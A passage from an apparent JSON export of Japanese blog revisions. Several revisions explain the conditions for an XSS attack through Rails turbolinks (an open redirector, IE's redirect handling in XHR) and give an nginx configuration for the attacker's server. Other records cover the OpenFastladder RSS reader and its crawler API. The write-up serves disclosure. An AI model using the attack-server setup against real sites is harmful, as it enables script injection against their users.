-\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - 有用な参考文献: http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:45:54.000Z","updated_at":"2013-03-13T07:45:54.000Z"},{"id":2320,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。 -\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - [有用な参考文献](http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin) (1 年前の文献)\r\n - 今日の Firefox では same origin から cross origin へのリダイレクトはどういう場合でもエラーが起きるっぽい\r\n - リリース版 IE10 ではエラー起きません\r\n - 正直 XHR 中で same origin から cross origin へのリダイレクトでエラーが発生しなくて嬉しくない事例が思いつかない。嫌がらせと攻撃にしか使えないだろ。 IE がおかしい。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:48:22.000Z","updated_at":"2013-03-13T07:48:22.000Z"},{"id":2321,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。 -\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - [有用な参考文献](http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin) (1 年前の文献)\r\n - 今日の Firefox では same origin から cross origin へのリダイレクトはどういう場合でもエラーが起きるっぽい\r\n - リリース版 IE10 ではエラー起きません\r\n - 正直 XHR 中で same origin から cross origin へのリダイレクトでエラーが発生しなくて嬉しくない事例が思いつかない。嫌がらせと攻撃にしか使えないだろ。 IE がおかしい。\r\n - ちなみに古い IE では XHR Level 2 自体が動かない。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:49:11.000Z","updated_at":"2013-03-13T07:49:11.000Z"},{"id":2322,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。 -\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - [有用な参考文献](http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin) (1 年前の文献)\r\n - 今日の Firefox では same origin から cross origin へのリダイレクトはどういう場合でもエラーが起きるっぽい\r\n - Firefox にしろ Chrome にしろ Safari にしろ何もメッセージを言わずにエラーだけ吐きやがる\r\n - リリース版 IE10 ではエラー起きません\r\n - 正直 XHR 中で same origin から cross origin へのリダイレクトでエラーが発生しなくて嬉しくない事例が思いつかない。嫌がらせと攻撃にしか使えないだろ。 IE がおかしい。\r\n - [IE の動作が正しいとのこと](https://twitter.com/bulkneets/statuses/311747091397480448)\r\n - つまり今後この XSS が発生する環境はどんどん増える可能性があります\r\n - ちなみに古い IE では XHR Level 2 自体が動かない。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:56:08.000Z","updated_at":"2013-03-13T07:56:08.000Z"},{"id":2323,"name":"turbolinks で実際に攻撃する為に必要な事","body":"### turbolinks で実際に攻撃する為に必要な事\r\n\r\nまだ厳密に検証した訳じゃない。 -\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - [有用な参考文献](http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin) (1 年前の文献)\r\n - 今日の Firefox では same origin から cross origin へのリダイレクトはどういう場合でもエラーが起きるっぽい\r\n - Firefox にしろ Chrome にしろ Safari にしろ何もメッセージを言わずにエラーだけ吐きやがる\r\n - リリース版 IE10 ではエラー起きません\r\n - 正直 XHR 中で same origin から cross origin へのリダイレクトでエラーが発生しなくて嬉しくない事例が思いつかない。嫌がらせと攻撃にしか使えないだろ。 IE がおかしい。\r\n - [IE の動作が正しいとのこと](https://twitter.com/bulkneets/statuses/311747091397480448)\r\n - つまり今後この XSS が発生する環境はどんどん増える可能性があります\r\n - ちなみに古い IE では XHR Level 2 自体が動かない。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:57:34.000Z","updated_at":"2013-03-13T07:57:34.000Z"},{"id":2324,"name":"turbolinks で実際に攻撃する為に必要な事","body":"### turbolinks で実際に攻撃する為に必要な事\r\n\r\nまだ厳密に検証した訳じゃない。 -\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- オープンリダイレクタが設置されてる\r\n- サイト内にユーザーが自由にリンク記述できる\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - [有用な参考文献](http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin) (1 年前の文献)\r\n - 今日の Firefox では same origin から cross origin へのリダイレクトはどういう場合でもエラーが起きるっぽい\r\n - Firefox にしろ Chrome にしろ Safari にしろ何もメッセージを言わずにエラーだけ吐きやがる\r\n - リリース版 IE10 ではエラー起きません\r\n - 正直 XHR 中で same origin から cross origin へのリダイレクトでエラーが発生しなくて嬉しくない事例が思いつかない。嫌がらせと攻撃にしか使えないだろ。 IE がおかしい。\r\n - [IE の動作が正しいとのこと](https://twitter.com/bulkneets/statuses/311747091397480448)\r\n - つまり今後この XSS が発生する環境はどんどん増える可能性があります\r\n - ちなみに古い IE では XHR Level 2 自体が動かない。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T08:01:10.000Z","updated_at":"2013-03-13T08:01:10.000Z"},{"id":2325,"name":"turbolinks で実際に攻撃する為に必要な事","body":"### turbolinks で実際に攻撃する為に必要な事\r\n\r\nまだ厳密に検証した訳じゃない。 -\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- オープンリダイレクタが設置されてる\r\n- サイト内にユーザーが自由にリンク記述できる\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - [有用な参考文献](http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin) (1 年前の文献)\r\n - 今日の Firefox では same origin から cross origin へのリダイレクトはどういう場合でもエラーが起きるっぽい\r\n - Firefox にしろ Chrome にしろ Safari にしろ何もメッセージを言わずにエラーだけ吐きやがる\r\n - リリース版 IE10 ではエラー起きません\r\n - 正直 XHR 中で same origin から cross origin へのリダイレクトでエラーが発生しなくて嬉しくない事例が思いつかない。嫌がらせと攻撃にしか使えないだろ。 IE がおかしい。\r\n - [IE の動作が正しいとのこと](https://twitter.com/bulkneets/statuses/311747091397480448)\r\n - つまり今後この XSS が発生する環境はどんどん増える可能性があります\r\n - ちなみに古い IE では XHR Level 2 自体が動かない。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\n### 未来予想\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eこの状態で turbolinks デフォルトとかクレイジーでしょ =\u0026gt; デフォルトから外す pull req を誰かが投げる =\u0026gt; 「オープンリダイレクタ置くようなバカの為にデフォルトから外すのはおかしい」みたいな意見が出てくる =\u0026gt; \u003ca href=\"https://github.com/msgpack/msgpack/issues/128\"\u003e#128\u003c/a\u003e みたいな炎上事案になる\u003c/p\u003e\u0026mdash; 未来世紀ひだまりスケッチの絶対の危機 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/311750164559847424\"\u003eMarch 13, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T08:10:50.000Z","updated_at":"2013-03-13T08:10:50.000Z"},{"id":2326,"name":"turbolinks で実際に攻撃する為に必要な事","body":"### turbolinks で実際に攻撃する為に必要な事\r\n\r\nまだ厳密に検証した訳じゃない。 -\u003e それなりにマジメに検証した \u0026 背景をちょっとだけ勉強した\r\n\r\n攻撃が成立する条件\r\n\r\n- オープンリダイレクタが設置されてる\r\n- サイト内にユーザーが自由にリンク記述できる\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - [有用な参考文献](http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin) (1 年前の文献)\r\n - 今日の Firefox では same origin から cross origin へのリダイレクトはプリフライト必要な場合にエラー\r\n - Firefox にしろ Chrome にしろ Safari にしろ何もメッセージを言わずにエラーだけ吐きやがる\r\n - リリース版 IE10 ではエラー起きません\r\n - 正直 XHR 中で same origin から cross origin へのリダイレクトでエラーが発生しなくて嬉しくない事例が思いつかない。嫌がらせと攻撃にしか使えないだろ。 IE がおかしい。\r\n - [IE の動作が正しいとのこと](https://twitter.com/bulkneets/statuses/311747091397480448)\r\n - つまり今後この XSS が発生する環境はどんどん増える可能性があります\r\n - ちなみに古い IE では XHR Level 2 自体が動かない。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\n### 未来予想\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eこの状態で turbolinks デフォルトとかクレイジーでしょ =\u003e デフォルトから外す pull req を誰かが投げる =\u003e 「オープンリダイレクタ置くようなバカの為にデフォルトから外すのはおかしい」みたいな意見が出てくる =\u003e \u003ca href=\"https://github.com/msgpack/msgpack/issues/128\"\u003e#128\u003c/a\u003e みたいな炎上事案になる\u003c/p\u003e— 未来世紀ひだまりスケッチの絶対の危機 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/311750164559847424\"\u003eMarch 13, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T13:55:16.000Z","updated_at":"2013-03-13T13:55:16.000Z"},{"id":2327,"name":"text/OpenFastladder が現代的な環境で動くようになってきてる","body":"%blog%\r\n\r\n表題通りの話です。\r\n\r\n- [Fastladder](https://github.com/fastladder/fastladder/tree/rails-modern)\r\n\r\nこれ Rails 2.0.2 とか絶望的に古い環境でしか動かなかったんですが。昨日一日で結構頑張りました。 Ruby 1.9.3 + Rails 3.2.12 という近代的な環境で動きます。\r\n\r\n- ユーザー作成\r\n- ログイン\r\n- フィードの登録\r\n- クロール\r\n- 各種設定の変更\r\n- 閲覧\r\n\r\nは「とりあえず」動いてます。今のところ動いてないことがはっきりしているものは\r\n\r\n- OPML のインポートとエクスポート\r\n - ライブラリが 6 年近くアップデート止まってて結構辛い\r\n\r\nです。週末中に OPML はなんとかします。クローラーがかなりアレなので[これ](https://gist.github.com/mala/5162105)で提案されてるクローラー向け API もさくっと作ってしまおうと思っています。\r\n\r\n「どうぞ、ご利用ください」と言えるような品質にはまだなってませんが、ご利用 \u0026 pull req くれると嬉しいです。\r\n\r\n \r\n \r\n\r\n以下駄文。\r\n\r\n- ソーシャルフィルタリングあるからフィードとかいらねえし\r\n- 検索出来ればいいんだから暗記なんか必要ないし\r\n\r\nみたいな主張を今回の Google Reader 停止騒動に関連して改めて多々見るようになりました。\r\n\r\n- ソーシャルフィルタリングの上流にいる人がどうやって情報を得ているのか\r\n- 友達が興味あるような情報だけ得ていて友達に対して知的な優位を得ることが出来るのか\r\n- 得たい情報への検索ワードという暗記は結局必要じゃねえか\r\n- 検索して記事を読むっていうアクション結構重いよ?\r\n\r\nみたいなことについて考えたほうがいいと思います。\r\n\r\n- 自分が知りたいものはなんなのか\r\n- その為に何をすればいいか\r\n\r\nということをコンピューターはまだ教えてくれません。だから「ソーシャルフィルタリング」とか「全文検索」とかいうものがあるわけです。ですがこれらは不完全です。結局上記のようなことは自分でなんとかするしかないです。\r\n\r\nしかしいずれはコンピューターがそういうことまでやってくれるようになり、そして超空間通路が南極に打ち込まれ人類はジャムとの泥沼の戦争に巻き込まれることになるでしょう。","created_at":"2013-03-15T05:30:32.000Z","updated_at":"2013-03-15T05:30:32.000Z"},{"id":2328,"name":"text/OpenFastladder が現代的な環境で動くようになってきてる","body":"%blog%\r\n\r\n表題通りの話です。\r\n\r\n- [Fastladder](https://github.com/fastladder/fastladder/tree/rails-modern)\r\n\r\nこれ Rails 2.0.2 とか絶望的に古い環境でしか動かなかったんですが。昨日一日で結構いろいろやりました。 Ruby 1.9.3 + Rails 3.2.12 という近代的な環境で動きます。\r\n\r\n- ユーザー作成\r\n- ログイン\r\n- フィードの登録\r\n- クロール\r\n- 各種設定の変更\r\n- 閲覧\r\n\r\nは「とりあえず」動いてます。今のところ動いてないことがはっきりしているものは\r\n\r\n- OPML のインポートとエクスポート\r\n - ライブラリが 6 年近くアップデート止まってて結構辛い\r\n\r\nです。週末中に OPML はなんとかします。クローラーがかなりアレなので[これ](https://gist.github.com/mala/5162105)で提案されてるクローラー向け API もさくっと作ってしまおうと思っています。\r\n\r\n「どうぞ、ご利用ください」と言えるような品質にはまだなってませんが、ご利用 \u0026 pull req くれると嬉しいです。\r\n\r\n \r\n \r\n\r\n以下駄文。\r\n\r\n- ソーシャルフィルタリングあるからフィードとかいらねえし\r\n- 検索出来ればいいんだから暗記なんか必要ないし\r\n\r\nみたいな主張を今回の Google Reader 停止騒動に関連して改めて多々見るようになりました。\r\n\r\n- ソーシャルフィルタリングの上流にいる人がどうやって情報を得ているのか\r\n- 友達が興味あるような情報だけ得ていて友達に対して知的な優位を得ることが出来るのか\r\n- 得たい情報への検索ワードという暗記は結局必要じゃねえか\r\n- 検索して記事を読むっていうアクション結構重いよ?\r\n\r\nみたいなことについて考えたほうがいいと思います。\r\n\r\n- 自分が知りたいものはなんなのか\r\n- その為に何をすればいいか\r\n\r\nということをコンピューターはまだ教えてくれません。だから「ソーシャルフィルタリング」とか「全文検索」とかいうものがあるわけです。ですがこれらは不完全です。結局上記のようなことは自分でなんとかするしかないです。\r\n\r\nしかしいずれはコンピューターがそういうことまでやってくれるようになり、そして超空間通路が南極に打ち込まれ人類はジャムとの泥沼の戦争に巻き込まれることになるでしょう。","created_at":"2013-03-15T05:32:33.000Z","updated_at":"2013-03-15T05:32:33.000Z"},{"id":2329,"name":"text/OpenFastladder その後","body":"%blog%\r\n\r\n[先日の状況](/text/OpenFastladder が現代的な環境で動くようになってきてる)からもう大分変わっている。優れた開発者が多数開発に参加し、動かない機能はほぼ無くなっているし、 JavaScript などもメンテしやすいようにリファクタリングされている。\r\n\r\n常用出来るレベルになってると思います。","created_at":"2013-03-16T06:17:12.000Z","updated_at":"2013-03-16T06:17:12.000Z"},{"id":2330,"name":"text/OpenFastladder が現代的な環境で動くようになってきてる","body":"%blog%\r\n\r\n表題通りの話です。\r\n\r\n- [Fastladder](https://github.com/fastladder/fastladder)\r\n\r\nこれ Rails 2.0.2 とか絶望的に古い環境でしか動かなかったんですが。昨日一日で結構いろいろやりました。 Ruby 1.9.3 + Rails 3.2.12 という近代的な環境で動きます。\r\n\r\n- ユーザー作成\r\n- ログイン\r\n- フィードの登録\r\n- クロール\r\n- 各種設定の変更\r\n- 閲覧\r\n\r\nは「とりあえず」動いてます。今のところ動いてないことがはっきりしているものは\r\n\r\n- OPML のインポートとエクスポート\r\n - ライブラリが 6 年近くアップデート止まってて結構辛い\r\n\r\nです。週末中に OPML はなんとかします。クローラーがかなりアレなので[これ](https://gist.github.com/mala/5162105)で提案されてるクローラー向け API もさくっと作ってしまおうと思っています。\r\n\r\n「どうぞ、ご利用ください」と言えるような品質にはまだなってませんが、ご利用 \u0026 pull req くれると嬉しいです。\r\n\r\n \r\n \r\n\r\n以下駄文。\r\n\r\n- ソーシャルフィルタリングあるからフィードとかいらねえし\r\n- 検索出来ればいいんだから暗記なんか必要ないし\r\n\r\nみたいな主張を今回の Google Reader 停止騒動に関連して改めて多々見るようになりました。\r\n\r\n- ソーシャルフィルタリングの上流にいる人がどうやって情報を得ているのか\r\n- 友達が興味あるような情報だけ得ていて友達に対して知的な優位を得ることが出来るのか\r\n- 得たい情報への検索ワードという暗記は結局必要じゃねえか\r\n- 検索して記事を読むっていうアクション結構重いよ?\r\n\r\nみたいなことについて考えたほうがいいと思います。\r\n\r\n- 自分が知りたいものはなんなのか\r\n- その為に何をすればいいか\r\n\r\nということをコンピューターはまだ教えてくれません。だから「ソーシャルフィルタリング」とか「全文検索」とかいうものがあるわけです。ですがこれらは不完全です。結局上記のようなことは自分でなんとかするしかないです。\r\n\r\nしかしいずれはコンピューターがそういうことまでやってくれるようになり、そして超空間通路が南極に打ち込まれ人類はジャムとの泥沼の戦争に巻き込まれることになるでしょう。","created_at":"2013-03-16T10:56:50.000Z","updated_at":"2013-03-16T10:56:50.000Z"},{"id":2331,"name":"text/OpenFastladder クローラー向け RPC について","body":"%blog%\r\n\r\nOpenFastladder にクローラー向け API が出来ました。\r\n\r\n若干むちゃくちゃな仕様だが[無理矢理通した](https://github.com/fastladder/fastladder/pull/97)というものです。\r\n\r\n自分の好きな言語でクローラーを開発し、 Fastladder で使用することが出来ます。\r\n\r\n### 使い方\r\n1. Fastladder をセットアップする\r\n2. ユーザーを作り、サインインする\r\n3. 右上のメニューにある Account っていうページにいって、左のメニューから API Key に行く\r\n4. Set or Change Auth Key っていうボタンクリックする\r\n5. Your API Auth Key is: *********************************** みたいになるのでそれ自分のクローラーにコピペ\r\n6. http://your_fastladder/rpc/update_feed に向けて以下の内容を POST する\r\n - feedlink: フィードの URL\r\n - link: 記事の URL\r\n - body: 記事の内容\r\n - category: 記事のカテゴリ\r\n - published_date: 記事の発行日\r\n - api_key: 先程の API Key\r\n\r\n以上です。\r\n\r\n- api_key: API Key\r\n- json: {\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published_date\":\"記事の発行日\"}\r\n\r\nという感じで POST しても大丈夫です。\r\n\r\n複数の記事を一括で更新したい場合は\r\n\r\n/rpc/update_feeds という API に対して\r\n\r\n- api_key: API Key\r\n- feeds: [{\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published_date\":\"記事の発行日\"},{\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published_date\":\"記事の発行日\"}]\r\n\r\nみたいな感じで POST してください。 feeds は JSON 。\r\n\r\n重複を Fastladder とクローラーで連携して確認し、無駄なものを POST しないようにするということも出来ます。 check_digest というのがそれです。その辺説明めんどくさいので[ソース自分で読んで](https://github.com/fastladder/fastladder/blob/master/app/controllers/rpc_controller.rb)考えてください。\r\n\r\n### 一歩進んだ使い方\r\n上記の方法では、実はフィードしか送りつけることが出来ません。ですがこういう仕組みが用意されている以上、フィードでないものも Fastladder に送りつけて購読することはまさに醍醐味と言えるでしょう。以下のようにすることでフィードでないものも購読出来ます。\r\n\r\n上記で POST しているパラメーターに更に以下を加える\r\n\r\n- 